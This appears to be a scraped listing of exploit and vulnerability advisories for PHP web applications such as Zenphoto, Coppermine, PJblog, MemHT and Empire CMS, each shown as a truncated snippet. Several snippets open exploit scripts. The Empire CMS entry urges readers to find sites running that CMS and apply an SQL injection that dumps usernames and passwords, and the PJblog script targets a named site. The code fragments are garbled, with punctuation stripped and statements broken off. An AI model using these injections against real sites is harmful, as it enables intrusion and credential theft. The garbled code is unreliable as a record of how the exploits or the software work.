Zenphoto Multiple Security Vulnerabilities

Zenphoto is prone to multiple cross-site scripting vulnerabilities, an SQL-injection vulnerability, and a PHP code-injection vulnerability. An attacker can exploit the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affecte...

swDesk - Multiple Vulnerabilities

swDesk - Multiple Vulnerabilities Title : swDesk Multi Vulnerability Author : Red Security TEAM Date : 01/02/2012 Risk : High Vendor : http://www.swdesk.com/ Tested On : Apache Contact : Info 4t RedSecurity d0t COM Home : http://RedSecurity.COM Exploit : I. Arbitrary File Upload Vulnerability 1. ...

WikkaWiki 1.3.2 Spam Logging PHP Injection

This module exploits a vulnerability found in WikkaWiki. When the spam logging feature is enabled, it is possible to inject PHP code into the spam log file via the UserAgent header, and then request it to execute our payload. There are at least three different ways to trigger spam protection, thi...

Support Incident Tracker 3.65 - 'translate.php' Remote Code Execution

?php / ------------------------------------------------------------------------------ Support Incident Tracker = 3.65 translate.php Remote Code Execution Exploit ------------------------------------------------------------------------------ author...............: Egidio Romano aka EgiX...

The wind classification of the information management program injection vulnerability-vulnerability warning-the black bar safety net

Wind PHP classification information of the program v1. 3 to inject the latest injection vulnerabilities. Vulnerability file index.php vulnerability type: SQL injection. ? requireonce"conn.php";?& gt; $page=$GET"page"; $cid=$GET"cid"; $pagesize=1 5; if$cid!="" $r2=mysqlquery"select count from cbod...

Maian Weblog 4.0 Blind SQL Injection

?php / maian weblog = v4.0 Remote Blind SQL Injection Exploit vendor: http://www.maianscriptworld.co.uk/ Thanks to Johannes Dahse: http://bit.ly/dpQXMK Explanation: Lines 335 - 341 of the index.php we see this if statement that concerns our variable $bpost. // Check month and year vars... // If...

Amiro CMS<=5.4.4 PHP injection

ONSEC-09-026 Amiro CMS PHP inj CVE number requested Objective: Amiro CMS = 5.4.4 Type: PHP injection Threat: Medium Discovery date: 29.12.2009 Date of notification Developer: 29.12.2009 Released correction: 03/05/2010 Author: Vladimir Vorontsov OnSec Russian Security Group onsec dot ru Descriptio...

[ONSEC-09-017] Blogolet PHP including

ONSEC-09-017 Blogolet PHP including Цель: Blogolet CMS Тип: PHP инъекция Угроза: Высокая Дата обнаружения: 21.09.2009 Дата оповещения разработчика: 21.09.2009 Дата выхода исправления: 21.09.2009 Автор: Vladimir Vorontsov OnSec Russian Security Group onsec dot ru Описание: Уязвимость существует...

Ignition 1.2 Code Execution

Ignition Remote Code Execution AUTHOR : Sina Yazdanmehr R3d.W0rm Discovered by : Sina Yazdanmehr R3d.W0rm Our Site : http://IrCrash.com My Official WebSite : http://R3dW0rm.ir IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm Sina Yazdanmehr Download :...

Empire CMS message Board vulnerability-vulnerability warning-the black bar safety net

Dark gray dropped out of the 0day. Find used Empire CMS station,the site behind a directly applied:e/tool/gbook/? bid=1 For example: www.xxx.com/e/tool/gbook/?bid=1 Out is Empire CMS the guestbook,in the name of writing:缞\ Contact email at: ,1,1,1,select concatusername,0x5f,password,0x5f,rnd from...

Mlffat 2.2 - Blind SQL Injection

?php iniset"maxexecutiontime",0; printr' || || | || o,7 || . o7 || q||| o///, : / / . /QQQQQQQQQQQQQQQQQQQ\ q Mlffat 2.2 Blind SQL Inj. /QQQ/\QQQ\ /QQQQQ/ \QQQQQQ\ q Cookie 3 /QQQQ/ QQQQ\ /QQQQ/ \QQQQ\ q http://www.mlffat.com |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| From Kuwait, PEACE...

Coppermine Photo Gallery 1.4.22 - SQL Injection

!/usr/bin/perl Coppermine Photo Gallery '; banner; $lwp-defaultheader'Accept-Language: en-us,en;q=0.5'; my $html = injrequest' WHERE x'; Wrong query to obtain an error ifnot defined $html print "- Request mistake. Exploit terminated!\n"; exit ; elsif$html = /There was an error while processing a...

LightBlog 9.9.2 - 'register.php' Remote Code Execution

"; 74. 75. $fd = fopen $newaccountfile, "w"; 76. chmod$newaccountfile, 0777; 77. fwrite $fd, $details; 78. fclose...

PJblog V3. 0 0day-vulnerability warning-the black bar safety net

Original link: ? php / PJblog V3. 0 0day exp code by small Roach&bink www.0kee.com www.t00ls.net 09.04.22 / $url="http://www.pjhome.net"; //inject the address $varname="puterjam"; //administrator $varkey="checkright"; if $SESSION"LenI" $LenI=$SESSION"LenI"; else $LenI=1; for$i=$LenI;$i=4 0;$i++...

Pixie CMS - Cross-Site Scripting / SQL Injection

Pixie CMS Multiple Vulnerabilities Pixie is a "free, open source web application that will help you quickly create your own website. Many people refer to this type of software as a 'content management system cms'" http://www.getpixie.co.uk. Pixie is written in PHP with a MySQL database back end...

MemHT Portal 4.0.1 - Delete All Private Messages

MemHT Portal 4.0.1 - Delete All Private Messages !/usr/bin/perl MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value"; ? ok then foreach $POST'deletenewpm' as $value deletenewpm...

MemHT Portal 4.0.1 - Delete All Private Messages

!/usr/bin/perl MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value"; ? ok then foreach $POST'deletenewpm' as $value deletenewpm= $value ; so if we send a evil code like this: 1...

Smarty 2.6.20 php injection

2008-10-22 числа Secunia.com была найдена уязвимость в функции expandquotedtext полный текст http://secunia.com/Advisories/32329/. Разработчики попытались исправить уязвимость как видно из их кода http://smarty-php.googlecode.com/svn/trunk/libs/SmartyCompiler.class.php путем экранированием символ...

Yoxel <= 1.23beta (itpm_estimate.php a) Remote Code Execution Vuln

No description provided by source. :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ "Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP" "YmmMMMM"" MMM YM Discovered by dun \ dunatstrcpy.pl Yoxel = 1.23beta PHP code Injection Vulnerability Script: "Yoxel is a hidden gem. This Open Sour...

Pluck CMS 4.5.3 - update.php Remote File Corruption

Pluck CMS 4.5.3 - update.php Remote File Corruption "; copy"data/title.dat", "data/settings/title.dat"; unlink"data/settings/install.dat"; copy"data/install.dat", "data/settings/install.dat"; copy"data/options.php", "data/settings/options.php"; copy"data/pass.php", "data/settings/pass.php";...